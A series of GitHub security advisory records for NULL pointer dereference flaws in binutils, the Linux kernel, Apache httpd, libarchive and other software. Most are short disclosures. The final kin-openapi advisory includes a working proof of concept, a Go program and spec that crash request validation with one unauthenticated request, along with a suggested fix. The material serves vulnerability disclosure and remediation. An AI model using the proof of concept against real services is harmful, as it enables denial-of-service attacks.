CWE-476

{
  "affected": [],
  "aliases": [
    "CVE-2017-7614"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-04-09T14:59:00Z",
    "severity": "CRITICAL"
  },
  "details": "elflink.c in the Binary File Descriptor (BFD) library (aka libbfd), as distributed in GNU Binutils 2.28, has a \"member access within null pointer\" undefined behavior issue, which might allow remote attackers to cause a denial of service (application crash) or possibly have unspecified other impact via an \"int main() {return 0;}\" program.",
  "id": "GHSA-jmr6-pw55-q334",
  "modified": "2025-04-20T03:35:38Z",
  "published": "2022-05-17T00:53:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-7614"
    },
    {
      "type": "WEB",
      "url": "https://blogs.gentoo.org/ago/2017/04/05/binutils-two-null-pointer-dereference-in-elflink-c"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/201709-02"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2017-17465"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-12-08T05:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "K7Sentry.sys 15.1.0.59 in K7 Antivirus 15.1.0309 has a NULL pointer dereference via a 0x95002574 DeviceIoControl request.",
  "id": "GHSA-jmr7-mpgf-jgrj",
  "modified": "2022-05-17T00:12:30Z",
  "published": "2022-05-17T00:12:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-17465"
    },
    {
      "type": "WEB",
      "url": "https://github.com/k0keoyo/Driver-Loaded-PoC/tree/master/K7-Antivirus/K7Anti_Nullptr_Dereference_0x95002574"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-26948"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-01T06:15:10Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Add a dc_state NULL check in dc_state_release\n\n[How]\nCheck wheather state is NULL before releasing it.",
  "id": "GHSA-jmrp-224q-ph39",
  "modified": "2025-09-18T15:30:21Z",
  "published": "2024-05-01T06:31:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-26948"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/334b56cea5d9df5989be6cf1a5898114fa70ad98"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/d37a08f840485995e3fb91dad95e441b9d28a269"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-52861"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-21T16:15:23Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm: bridge: it66121: Fix invalid connector dereference\n\nFix the NULL pointer dereference when no monitor is connected, and the\nsound card is opened from userspace.\n\nInstead return an empty buffer (of zeroes) as the EDID information to\nthe sound framework if there is no connector attached.",
  "id": "GHSA-jmrp-7793-gxc2",
  "modified": "2024-07-03T18:42:58Z",
  "published": "2024-05-21T18:31:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-52861"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/1374561a7cbc9a000b77bb0473bb2c19daf18d86"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/1669d7b21a664aa531856ce85b01359a376baebc"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/2c80c4f0d2845645f41cbb7c9304c8efbdbd4331"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/d0375f6858c4ff7244b62b02eb5e93428e1916cd"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-29169"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-04T15:16:03Z",
    "severity": "HIGH"
  },
  "details": "A NULL pointer dereference in mod_dav_lock in Apache HTTP Server 2.4.66 and earlier may allow an attacker to crash the server with a malicious request.mod_dav_lock is not used internally by mod_dav or mod_dav_fs.\n\nThe only known use-case for mod_dav_lock was mod_dav_svn from Apache Subversion earlier than version 1.2.0.\n\nUsers are recommended to upgrade to version 2.4.66, which fixes this issue, or remove mod_dav_lock.",
  "id": "GHSA-jmv5-rcpx-7f7r",
  "modified": "2026-05-05T21:31:26Z",
  "published": "2026-05-04T15:31:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29169"
    },
    {
      "type": "WEB",
      "url": "https://httpd.apache.org/security/vulnerabilities_24.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/05/04/20"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/05/05/12"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2015-8922"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2016-09-20T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The read_CodersInfo function in archive_read_support_format_7zip.c in libarchive before 3.2.0 allows remote attackers to cause a denial of service (NULL pointer dereference and crash) via a crafted 7z file, related to the _7z_folder struct.",
  "id": "GHSA-jp54-pqvh-vcwq",
  "modified": "2022-05-13T01:29:13Z",
  "published": "2022-05-13T01:29:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-8922"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libarchive/libarchive/issues/513"
    },
    {
      "type": "WEB",
      "url": "https://blog.fuzzing-project.org/47-Many-invalid-memory-access-issues-in-libarchive.html"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/201701-03"
    },
    {
      "type": "WEB",
      "url": "https://www.suse.com/security/cve/CVE-2015-8922.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2016-07/msg00025.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2016-1844.html"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2016/dsa-3657"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2016/06/17/2"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2016/06/17/5"
    },
    {
      "type": "WEB",
      "url": "http://www.oracle.com/technetwork/topics/security/linuxbulletinjul2016-3090544.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/91312"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/USN-3033-1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-41060"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-29T15:15:14Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/radeon: check bo_va-\u003ebo is non-NULL before using it\n\nThe call to radeon_vm_clear_freed might clear bo_va-\u003ebo, so\nwe have to check it before dereferencing it.",
  "id": "GHSA-jp57-4w2p-w9x6",
  "modified": "2025-11-04T00:31:00Z",
  "published": "2024-07-29T15:30:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41060"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/6fb15dcbcf4f212930350eaee174bb60ed40a536"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/8a500b3a5f0a58c6f99039091fbd715f64f2f8af"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/a2b201f83971df03c8e81a480b2f2846ae8ce1a3"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/a9100f17428cb733c4f6fbb132d98bed76318342"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/e8d3c53c6f1cccea9c03113f06dd39521c228831"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/f13c96e0e325a057c03f8a47734adb360e112efe"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-46711"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-22T11:15:35Z",
    "severity": "MODERATE"
  },
  "details": "Software installed and run as a non-privileged user may conduct improper GPU system calls to trigger NULL pointer dereference kernel exceptions.",
  "id": "GHSA-jp98-mpwx-mpxj",
  "modified": "2025-09-22T21:30:21Z",
  "published": "2025-09-22T21:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46711"
    },
    {
      "type": "WEB",
      "url": "https://www.imaginationtech.com/gpu-driver-vulnerabilities"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-26770"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-03T17:15:52Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nHID: nvidia-shield: Add missing null pointer checks to LED initialization\n\ndevm_kasprintf() returns a pointer to dynamically allocated memory\nwhich can be NULL upon failure. Ensure the allocation was successful\nby checking the pointer validity.\n\n[jkosina@suse.com: tweak changelog a bit]",
  "id": "GHSA-jp9p-8gwp-x6cf",
  "modified": "2025-01-27T15:30:56Z",
  "published": "2024-04-03T18:30:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-26770"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/83527a13740f57b45f162e3af4c7db4b88521100"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/b6eda11c44dc89a681e1c105f0f4660e69b1e183"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/e71cc4a1e584293deafff1a7dea614b0210d0443"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.143.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/getkin/kin-openapi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.144.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T22:39:39Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "| Field | Value |\n|---|---|\n| Ecosystem | Go |\n| Package | `github.com/getkin/kin-openapi` |\n| Affected versions | `\u003c= 0.143.0` (introduced in `v0.2.0`, PR #90, 2019-05-07; reproduced on `HEAD` `30e2923`) |\n| Patched versions | 0.144.0 |\n---\n\n### Summary\n\n`openapi3filter.ValidateRequest` contains a NULL-pointer-dereference denial of service: any **unauthenticated** client can crash the request-validation path with a **single** HTTP request. When an operation declares a `content` parameter (as opposed to a `schema` parameter) whose media type object has **no `schema`**, request validation dereferences that missing schema and panics. The document is legal under the OpenAPI Specification \u2014 kin-openapi\u0027s own `doc.Validate()` accepts it \u2014 and the defect affects **both OpenAPI 3.0.x and 3.1.x**. Depending on how the library is wired into the server (see Impact), this ranges from a per-request abort with unbounded panic-log growth to a full remote process crash.\n\n### Details\n\nThe decoder used for `content` parameters when no custom `ParamDecoder` is configured (the library default), `defaultContentParameterDecoder`, dereferences the media-type schema without a nil check.\n\n`openapi3filter/req_resp_decoder.go`, around line 197:\n\n```go\nmt := content.Get(\"application/json\")\nif mt == nil {                       // media-type OBJECT is guarded ...\n    err = fmt.Errorf(\"parameter %q has no content schema\", param.Name)\n    return\n}\noutSchema = mt.Schema.Value          // ... but mt.Schema is NOT \u2014 panics when nil\n```\n\nThe function guards `param.Content == nil`, `len(content) != 1`, and `mt == nil`, but never `mt.Schema == nil`.\n\n**Why a schema-less content parameter is legal** (so the sink is reachable \u2014 `doc.Validate()` returns no error), in both 3.0.x and 3.1.x:\n\n- `openapi3/parameter.go` \u2014 `Parameter.Validate` only enforces *exactly one of `schema` XOR `content`*; a parameter with `content` (and no `schema`) satisfies it.\n- `openapi3/media_type.go` \u2014 `MediaType.Validate` validates the schema **only when it is non-nil**, so an absent schema is not a validation error.\n\n**Call path to the panic:**\n\n```\nValidateRequest                          openapi3filter/validate_request.go:83\n  \u2514\u2500 ValidateParameter                   openapi3filter/validate_request.go:177   (parameter.Content != nil)\n       \u2514\u2500 decodeContentParameter         openapi3filter/req_resp_decoder.go:166   (attacker supplies value \u21d2 found)\n            \u2514\u2500 defaultContentParameterDecoder   openapi3filter/req_resp_decoder.go:197   \u2190 nil deref / panic\n```\n\n**Authentication note:** `ValidateRequest` validates security *before* parameters, but the panic is reachable **without credentials** whenever the target operation declares no security requirement, or when no `AuthenticationFunc` is configured (it is opt-in). A single unauthenticated operation anywhere in the served spec is sufficient. If an operation *does* declare security and a rejecting `AuthenticationFunc` is wired, that request is rejected before decoding.\n\n### PoC\n\nReproduced end-to-end against `HEAD` (`30e2923`) with a real `net/http` server and a stock `http.Client`.\n\n**1. Minimal OpenAPI 3.0.3 document** (legal \u2014 `doc.Validate()` passes). The `cfg` query parameter uses `content` with an `application/json` media type that has **no `schema`**:\n\n```yaml\nopenapi: 3.0.3\ninfo: {title: poc, version: \"1.0.0\"}\npaths:\n  /c:\n    get:\n      parameters:\n        - name: cfg\n          in: query\n          content:\n            application/json: {}      # media type object with NO schema\n      responses:\n        \"200\": {description: ok}\n```\n\n**2. A complete, self-contained program.** Drop this into a directory inside a checkout of `github.com/getkin/kin-openapi` and run it with `go run .`. It loads the document above, asserts `doc.Validate()` accepts it (proving reachability), serves it behind request validation exactly as the recommended middleware does, and sends one unauthenticated `GET /c?cfg=1`:\n\n```go\npackage main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\nconst spec = `\nopenapi: 3.0.3\ninfo: {title: poc, version: \"1.0.0\"}\npaths:\n  /c:\n    get:\n      parameters:\n        - name: cfg\n          in: query\n          content:\n            application/json: {}      # media type object with NO schema\n      responses:\n        \"200\": {description: ok}\n`\n\nfunc main() {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(spec))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\t// Reachability: the malformed-but-legal document must validate.\n\tif err := doc.Validate(context.Background()); err != nil {\n\t\tpanic(\"doc.Validate rejected the spec, not reachable: \" + err.Error())\n\t}\n\trouter, err := gorillamux.NewRouter(doc)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// Handler mirrors openapi3filter.ValidationHandler: find route, validate.\n\th := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\troute, pathParams, err := router.FindRoute(r)\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusNotFound)\n\t\t\treturn\n\t\t}\n\t\t// Panics here on the crafted request (req_resp_decoder.go:197).\n\t\tif err := openapi3filter.ValidateRequest(r.Context(), \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest:    r,\n\t\t\tPathParams: pathParams,\n\t\t\tRoute:      route,\n\t\t\tOptions:    \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t}); err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\t\tw.WriteHeader(http.StatusOK)\n\t})\n\n\tsrv := httptest.NewServer(h)\n\tdefer srv.Close()\n\n\t// The single, unauthenticated attack request.\n\tresp, err := http.Get(srv.URL + \"/c?cfg=1\")\n\tif err != nil {\n\t\t// Expected: the server goroutine panicked, so the client sees EOF.\n\t\tfmt.Printf(\"client received an aborted response (expected): %v\\n\", err)\n\t\treturn\n\t}\n\tdefer resp.Body.Close()\n\tfmt.Printf(\"UNEXPECTED: got HTTP %d without a panic\\n\", resp.StatusCode)\n}\n```\n\n**3. Observed result** \u2014 the request goroutine panics inside validation, and the client\u0027s `http.Get` returns an EOF:\n\n```\nhttp: panic serving 127.0.0.1:xxxxx: runtime error: invalid memory address or nil pointer dereference\ngithub.com/getkin/kin-openapi/openapi3filter.defaultContentParameterDecoder(...)\n\topenapi3filter/req_resp_decoder.go:197\ngithub.com/getkin/kin-openapi/openapi3filter.decodeContentParameter(...)\n\topenapi3filter/req_resp_decoder.go:166\ngithub.com/getkin/kin-openapi/openapi3filter.ValidateParameter(...)\n\topenapi3filter/validate_request.go:177\ngithub.com/getkin/kin-openapi/openapi3filter.ValidateRequest(...)\n\topenapi3filter/validate_request.go:83\n```\n\nSwapping the media type for one that carries a schema (`application/json: {schema: {type: object}}`) makes the same request return a clean `400` instead of panicking, confirming the missing schema is the cause.\n\n### Impact\n\nThis is an **unauthenticated remote denial of service** (CWE-476) against any service that validates incoming requests with `openapi3filter` and serves a spec containing at least one `content` parameter whose media type lacks a `schema`.\n\nThe precise consequence depends on which goroutine runs the panic and whether a `recover()` covers it:\n\n| Wiring | Recovered by `net/http`? | Result |\n|---|---|---|\n| Synchronous middleware / handler on `net/http` (incl. `openapi3filter.ValidationHandler`) | Yes | Process survives; the one request is aborted. A remote unauthenticated party can still drive connection churn + unbounded `http: panic serving` log growth. |\n| `ValidateRequest` on an app-spawned goroutine (fan-out, `errgroup`, async pre-check) | No | **Whole process crashes** on a single unauthenticated request unless the app added its own `recover()`. |\n| Non-`net/http` host (fasthttp adaptor, gRPC-gateway shim, CLI, offline/batch spec validator) | No | **Whole process crashes.** |\n\nThis is why the suggested CVSS uses `A:L` (Base 5.3): under the recommended synchronous `net/http` wiring the panic is recovered per-connection. Reviewers may reasonably raise it to `A:H` (Base 7.5) for the spawned-goroutine and non-`net/http` integrations, where a single request kills the process.\n\n---\n\n## Remediation (suggested)\n\nAdd a `mt.Schema == nil` guard mirroring the existing `mt == nil` guard, so a schema-less content parameter yields a clean validation error instead of a panic:\n\n```go\nmt := content.Get(\"application/json\")\nif mt == nil {\n    err = fmt.Errorf(\"parameter %q has no content schema\", param.Name)\n    return\n}\nif mt.Schema == nil {\n    err = fmt.Errorf(\"parameter %q content media type has no schema\", param.Name)\n    return\n}\noutSchema = mt.Schema.Value\n```\n\nThe `unmarshal` closure immediately below already tolerates a nil schema (it checks `paramSchema != nil`), so returning early on nil `mt.Schema` is consistent with surrounding intent.\n\n**Workarounds for consumers, pending a patch:**\n\n- Ensure every `content` parameter in served specs declares a `schema`, or reject such specs at load time.\n- Supply a custom `ParamDecoder` that guards `mt.Schema == nil`.\n- Run request validation inside a handler with an explicit `recover()` \u2014 especially if validation runs off the request goroutine or on a non-`net/http` host.\n\n## Notes for the maintainer\n\nThis root cause (`mt.Schema == nil`) is independent of the `Items == nil` panics addressed in `30e2923` and of `GHSA-mmfr-pmjx-hw9w`; no prior fix touched this code path. It affects OpenAPI 3.0.x as well as 3.1.x.",
  "id": "GHSA-jpcw-4wr7-c3vq",
  "modified": "2026-07-24T22:39:39Z",
  "published": "2026-07-24T22:39:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getkin/kin-openapi/security/advisories/GHSA-jpcw-4wr7-c3vq"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getkin/kin-openapi/commit/68ac2affa325514d7d6e731204d6a1edf6bdff64"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getkin/kin-openapi"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getkin/kin-openapi/releases/tag/v0.144.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "kin-openapi openapi3filter: unauthenticated nil-pointer panic when validating a request against a `content` parameter whose media type has no schema"
}